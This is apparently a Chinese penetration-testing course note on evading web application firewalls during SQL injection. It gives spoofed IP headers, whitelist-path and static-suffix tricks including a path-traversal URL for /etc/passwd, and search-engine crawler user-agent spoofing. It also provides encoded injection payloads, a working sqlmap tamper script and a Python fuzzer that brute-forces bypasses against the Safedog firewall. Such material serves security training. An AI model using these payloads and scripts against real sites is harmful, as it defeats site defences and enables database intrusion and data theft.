作为18篇的补充,区分注入时被拦截的原因会事半功倍
在攻防实战中,往往需要掌握一些特性,比如服务器、数据库、应用层、WAF 层等,以便我们更灵活地去构造 Payload,从而可以和各种WAF 进行对抗,甚至绕过安全防御措施进行漏洞利用。
通过对访问网站ip地址的伪造,告知对方我是IP白名单上的人,以请求放行
前提条件苛刻,因此不会常用:
测试方法:修改 http 的 header 来 by pass waf
X-forwarded-for
X-remote-IP
X-originating-IP
x-remote-addr
X-Real-ip
特定的静态资源后缀请求,常见的静态文件(.js .jpg .swf .css 等等),类似白名单机制,waf 为了检测效率,不去检测这样一些静态文件名后缀的请求。
http://10.9.9.201/sql.php?id=1
,意为id
的参数带入php
http://10.9.9.201/sql.php/1.js?id=1
,意为id
的参数带入js或者txt等允许的文件后缀
备注:Aspx/php 只识别到前面的.aspx/.php 后面基本不识别
如接收url上的参数到php,waf过滤会只针对欲带入的文件为脚本文件,若带入图片格式或者文本格式等无法造成危害的资源请求,可能不进行过滤,所以伪造id参数意为带入文本文档可造成绕过(目前安全狗版本已经可以拦截)
为了防止误拦,部分 waf 内置默认的白名单列表,如 admin/manager/system 等管理后台。只要 url中存在白名单的字符串,就作为白名单不进行检测。常见的 url 构造姿势;
http://10.9.9.201/sql.php/admin/php?id=1
http://10.9.9.201/sql.php?a=/manage/&b=…/etc/passwd
http://10.9.9.201/…/…/…/manage/…/sql.asp?id=2
waf通过/manage/进行比较,只要url中存在/manage/就作为白名单不进行检测,这样我们可以通过/sql.php?1=manage/&b=…/etc/passwd绕过防御规则。
waf会拦截正常操作中可能含有的敏感操作,因此会对一些文件设置不再拦截。安全狗仍旧拦截
部分WAF有提供爬虫白名单的功能,识别爬虫的技术一般有两种:
UserAgent可以很容易欺骗,爬虫中添加网站头:head={'User-Agent':'Mozilla/5.0 (compatible;Baiduspider-render/2.0;+http://www.baidu.com/search/spider.html)'}
浏览器中使用User Agent Switcher (Firefox附加组件)伪造成百度爬虫
使用网络爬虫时的老手段:
- 爬虫伪造成普通浏览器。收索引擎功能实现为爬虫,网站一般都允许收索引擎对自己查找
- 一般网站拥有流量监控,查询间隔需要添加随机的短延迟
通过在URL中添加字符数字等扰乱WAF检索,手动测试可通过的字符数字组合基本不可能,常通过编写脚本反复测试字典中字符数字不同排列组合以及插入位置反复测试网站
阿里云盾防护等级高,判断到注入即自动拦截该IP以后的所有请求。即添加到黑名单
tips:sqlmap执行过后会有本地缓存文件,影响再次使用结果
sqlmap的使用 ---- 自带绕过脚本tamper
# 迪师傅的rdog.py
import os
from lib.core.common import singleTimeWarnMessage
from lib.core.enums import DBMS
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.HIGHEST
def dependencies():
singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL))
def tamper(payload, **kwargs):
#%23a%0aunion/*!44575select*/1,2,3
if payload:
payload = payload.replace("union", "%23a%0aunion")
payload = payload.replace("select", "/*!44575select*/")
payload = payload.replace("%20", "%23a%0a")
payload = payload.replace(" ", "%23a%0a")
payload = payload.replace("database()", "database%23a%0a()")
return payload
- 当流量检测时:
- 代理池
- 延迟 --delay
- 浏览器的头agent --useragent
sqlmap被称为注入神器的原因,可设定参数着实便利
%23x%0aunion%23x%0Aselect%201,2,3
%20union%20/!44509select/%201,2,3
%20/!44509union/%23x%0aselect%201,2,3
id=1/**&id=-1%20union%20select%201,2,3%23*/
%20union%20all%23%0a%20select%201,2,3%23数据库特性,只针对与mysql
/*!50001 select * from test */;
这里的50001表示假如 数据库是5.00.01以上版本,该语句才会被推行
迪师傅的FUZZ:
import requests,time
url='http://127.0.0.1:8080/sqlilabs/Less-2/?id=-1'
union='union'
select='select'
num='1,2,3'
a={'%0a','%23'}
aa={'x'}
aaa={'%0a','%23'}
b='/*!'
c='*/'
def bypass():
for xiaodi in a:
for xiaodis in aa:
for xiaodiss in aaa:
for two in range(44500,44600):
urls=url+xiaodi+xiaodis+xiaodiss+b+str(two)+union+c+xiaodi+xiaodis+xiaodiss+select+xiaodi+xiaodis+xiaodiss+num
#urlss=url+xiaodi+xiaodis+xiaodiss+union+xiaodi+xiaodis+xiaodiss+b+str(two)+select+c+xiaodi+xiaodis+xiaodiss+num
try:
result=requests.get(urls).text
len_r=len(result)
if (result.find('safedog') == -1):
#print('bypass url addreess:' + urls + '|' + str(len_r))
print('bypass url addreess:'+urls+'|'+str(len_r))
if len_r==715:
fp = open('url.txt', 'a+')
fp.write(urls + '\n')
fp.close()
except Exception as err:
print('connecting error')
time.sleep(0.1)
if __name__ == '__main__':
print('fuzz strat!')
bypass()